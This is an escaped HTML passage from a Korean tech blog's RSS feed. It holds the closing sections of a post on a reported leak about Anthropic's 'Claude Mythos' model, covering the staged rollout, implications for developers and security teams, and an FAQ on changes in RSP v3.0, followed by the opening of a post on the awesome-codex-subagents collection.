&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 출시 전략 &amp;mdash; 신중한 단계적 배포&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;얼리 액세스 &amp;rarr; 사이버 방어 우선&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyyfW2%2FdJMcaipffCo%2FqW6k8KWnSSNUcRkVkdLvck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1082&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽 대변인은 &quot;소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다&quot;고 공식 확인했다. 유출 문서에는 이 전략의 방향이 더 구체적으로 서술됐다. (출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;유출 문서의 출시 단계 전략 (초안 기반)&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 1:&lt;/b&gt; 소수 얼리 액세스 고객 대상 테스트 (현재 진행 중)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 2:&lt;/b&gt; 사이버 방어 조직 우선 출시 &amp;mdash; 코드베이스 견고성 향상 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 3:&lt;/b&gt; 일반 정식 출시 (수개월 후 예상)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&quot;사이버 방어 조직 우선&quot; 출시 계획은 유출된 &lt;b&gt;초안 문서&lt;/b&gt;에서 언급된 것으로, 앤트로픽이 공식 보도자료로 확인한 내용은 아니다. 최종 출시 전략은 변경될 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;정식 출시 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에는 &quot;모델 운영 비용이 많이 들고, 아직 일반 출시 준비가 되지 않았다&quot;는 표현이 포함됐다. 앤트로픽은 &quot;이 모델의 강력한 기능을 고려해 출시 방식을 신중하게 결정하고 있다&quot;고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 분석가들은 연구용 미리보기(Research Preview) 형태의 제한적 공개가 먼저 이뤄지고, 정식 출시까지는 수개월이 더 걸릴 것으로 예상한다. 국가 안보급 리스크를 동반하는 모델에는 RSP 규정상 최소 수개월의 안전성 검증 기간이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 8 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 개발자&amp;middot;보안 전문가에게 주는 시사점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Mythos 유출이 단순한 IT 뉴스가 아닌 이유는, 이것이 소프트웨어 개발 생태계 전체에 직접적인 영향을 미치는 변화의 신호이기 때문이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcvel6i%2FdJMb99Z90mi%2FgiBKN80gArTvG39WtXQvi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1090&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 관점&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;개발자가 지금 준비해야 할 것들&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;코드 보안 강화 선제 대응&lt;/b&gt;: 앤트로픽이 사이버 방어 조직에 먼저 접근권을 주려는 이유는 공격 AI에 선제 대응하도록 돕기 위해서다. 코드베이스의 보안 취약점을 지금 점검하는 것이 현명하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 기반 코드 리뷰 도구 적극 활용&lt;/b&gt;: Claude Code, GitHub Copilot Security 등 AI 기반 보안 스캔 도구의 활용이 더욱 중요해질 것이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Capybara 계층 접근 준비&lt;/b&gt;: 사이버 방어 용도의 얼리 액세스 프로그램이 열릴 경우, 신청할 명분을 미리 준비해 두면 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 전문가 관점&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 관점 시사점&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;AI 기반 공격 시뮬레이션 준비&lt;/b&gt;: 적대적 AI가 자동으로 취약점을 찾는 환경에서의 방어 전략이 필요하다.&lt;br /&gt;&amp;bull; &lt;b&gt;패치 사이클 단축&lt;/b&gt;: AI가 취약점을 방어자보다 빠르게 찾는다면, 취약점 발견 &amp;rarr; 패치 배포까지의 시간을 줄이는 것이 핵심이다.&lt;br /&gt;&amp;bull; &lt;b&gt;얼리 액세스 프로그램 주목&lt;/b&gt;: 앤트로픽이 방어자 우선 배포를 계획하고 있다면, 보안 팀이 이 프로그램에 참여해 모델을 먼저 이해하는 것이 전략적으로 유리하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 산업 거시적 관점&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJDzv%2FdJMcaiCKw0w%2Fwq0duwIUCY6BHHsMItRBbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1060&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 유출은 AI 업계에 두 가지 큰 메시지를 던진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째&lt;/b&gt;, AI 능력이 안전 통제보다 빠르게 발전하고 있다는 신호가 이미 업계 내부에서 인식되고 있다. 앤트로픽이 자체 모델을 &quot;전례 없는 사이버보안 위험&quot;이라고 내부 문서에 적은 것은 이례적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째&lt;/b&gt;, RSP v3.0에서 pause 약속을 삭제한 것은 &quot;AI 안전이 경쟁 현실 앞에서 후퇴하는가&quot;라는 근본적인 질문을 제기한다. 이 논쟁은 Claude Mythos 정식 출시 전후로 더욱 격화될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- FAQ --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;margin: 30px 0;&quot;&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos는 지금 사용할 수 있나?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 2026년 3월 현재 일반 사용은 불가능하다. 소수 얼리 액세스 고객과의 테스트 단계다. 앤트로픽은 모델의 강력한 기능을 고려해 신중하게 출시 방식을 결정 중이라고 밝혔다. 일반 출시까지는 수개월이 더 걸릴 것으로 예상된다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos와 Capybara는 같은 모델인가?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: Fortune 원본 보도에 따르면 두 이름이 동일 모델을 가리킨다. 유출된 초안 블로그의 서로 다른 버전에서 각각 사용됐다. 다만 Capybara가 독립 계층 이름인지, 모델 후보명인지는 Anthropic이 공식 확인하지 않았다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: RSP에서 삭제된 &quot;pause 약속&quot;이란 무엇인가?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었다. RSP v3.0(2026-02-24)에서 이 단독 pause 조항이 삭제됐다. 단순히 '경쟁 선두 + 재앙적 위험' 조건으로 대체된 것이 아니라, 회사 자체 계획과 산업 전체 권고를 분리하고 Risk Reports&amp;middot;external review&amp;middot;competitor-contingent commitments를 포함한 다층 구조로 전환됐다. 참고로 &quot;경쟁 선두&quot; 조건은 중단 트리거의 직접 조건이 아니라 완화 조치 강도를 결정하는 데 반영되는 요소다. (출처: Anthropic RSP v3.0 전문 Appendix A; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos가 공식 ASL-4 모델로 분류되나?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 아니다. Anthropic이 공식적으로 ASL-4로 분류한 적이 없다. 더불어 ASL-4 자체가 RSP v3.0에서 아직 정식으로 정의되지 않은 단계다. 여러 매체의 &quot;ASL-4 임박&quot; 분석은 내부 문서의 사이버보안 경고를 근거로 한 추정이다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: 이번 유출이 개발자에게 미치는 직접적 영향은?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 직접적인 즉각 영향은 없다. 그러나 사이버보안 역량이 극적으로 높은 AI 모델이 출시되면, 코드베이스 보안 취약점이 자동으로 탐지&amp;middot;악용될 리스크가 높아진다. 앤트로픽이 방어자 우선 배포를 고려하는 만큼, 보안 도구 활용과 코드베이스 점검을 선제적으로 진행하는 것이 권장된다.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 참고 자료 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;공식 출처&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune 단독 보도 (2026-03-26)&lt;/a&gt; &amp;mdash; Claude Mythos 유출 원본 보도&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 공식 발표&lt;/a&gt; &amp;mdash; 2026-02-24 발효&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://anthropic.com/responsible-scaling-policy/rsp-v3-0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 전문&lt;/a&gt; &amp;mdash; 전체 정책 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/responsible-scaling-policy&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Responsible Scaling Policy&lt;/a&gt; &amp;mdash; ASL 체계 공식 페이지&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f5f9fc; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #cce5ff;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;심층 분석 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI &amp;mdash; RSP v3.0 심층 분석&lt;/a&gt; &amp;mdash; 변경 사항 및 시사점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://the-decoder.com/anthropic-leak-reveals-new-model-claude-mythos-with-dramatically-higher-scores-on-tests-than-any-previous-model/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Decoder &amp;mdash; Claude Mythos 성능 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.safer-ai.org/anthropics-responsible-scaling-policy-update-makes-a-step-backwards&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaferAI &amp;mdash; RSP v3.0 비판적 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lenny's Newsletter &amp;mdash; Boris Cherny 인터뷰&lt;/a&gt; &amp;mdash; Claude Code 및 AI 미래&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://mlq.ai/news/anthropic-releases-revised-responsible-scaling-policy-30-with-adjusted-safety-commitments/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MLQ.ai &amp;mdash; RSP v3.0 주요 변경 정리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f5f9fc; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #cce5ff;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁사 안전 정책 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/preparedness/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Preparedness Framework&lt;/a&gt; &amp;mdash; Tracked Categories, High/Critical capability 등급 체계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://deepmind.google/discover/blog/updating-our-frontier-safety-framework/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google DeepMind Frontier Safety Framework v3 (2025-09-22)&lt;/a&gt; &amp;mdash; CCL, alert thresholds, safety case reviews&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News</category>
      <category>Anthropic 유출</category>
      <category>ASL-4</category>
      <category>Capybara AI</category>
      <category>Claude Mythos</category>
      <category>gpt-5 비교</category>
      <category>pause commitment</category>
      <category>RSP v3.0</category>
      <category>사이버보안 AI</category>
      <category>클로드 미토스</category>
      <category>프론티어 AI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/568</guid>
      <comments>https://goddaehee.tistory.com/568#entry568comment</comments>
      <pubDate>Sun, 29 Mar 2026 20:04:04 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Codex 서브에이전트 - awesome-codex-subagents : 136개 Codex SubAgents 모음( TOML 에이전트 컬렉션 )</title>
      <link>https://goddaehee.tistory.com/567</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;&amp;nbsp;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2362&quot; data-origin-height=&quot;1578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fclman6%2FdJMcadIa11s%2FNVASDNvs0hFGlmYXLJCXC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2362&quot; height=&quot;1578&quot; data-origin-width=&quot;2362&quot; data-origin-height=&quot;1578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 16일, OpenAI가 Codex CLI에 &lt;b&gt;서브에이전트(Subagents)&lt;/b&gt; 기능을 정식 출시했다. 바로 다음 날인 3월 17일, 커뮤니티는 이미 반응했다. VoltAgent가 &lt;b&gt;awesome-codex-subagents&lt;/b&gt;를 공개한 것이다. 136개 이상의 전문화된 에이전트 정의를 담은 이 컬렉션은 공개 9일 만에 2,778 Stars(2026-03-26 기준)를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;해당 컬렉션의 구조와 활용방법을 &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 문서&lt;/a&gt;를 기반으로 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;왜 서브에이전트 컬렉션이 필요한가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단일 에이전트의 컨텍스트 오염 문제&lt;/li&gt;
&lt;li&gt;Codex 서브에이전트 GA 개요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Codex 서브에이전트 핵심 개념
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3가지 빌트인 에이전트&lt;/li&gt;
&lt;li&gt;TOML 파일 구조&lt;/li&gt;
&lt;li&gt;필수/선택 필드 전체 목록&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;awesome-codex-subagents 프로젝트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;VoltAgent 소개&lt;/li&gt;
&lt;li&gt;10개 카테고리 136+ 에이전트 총정리&lt;/li&gt;
&lt;li&gt;설치 및 사용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모델 라우팅 &amp;amp; 샌드박스 전략
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컬렉션이&amp;nbsp;주로&amp;nbsp;쓰는&amp;nbsp;2가지&amp;nbsp;모델&lt;/li&gt;
&lt;li&gt;샌드박스 모드 활용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 워크플로우 예제 3가지
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PR 리뷰 자동화&lt;/li&gt;
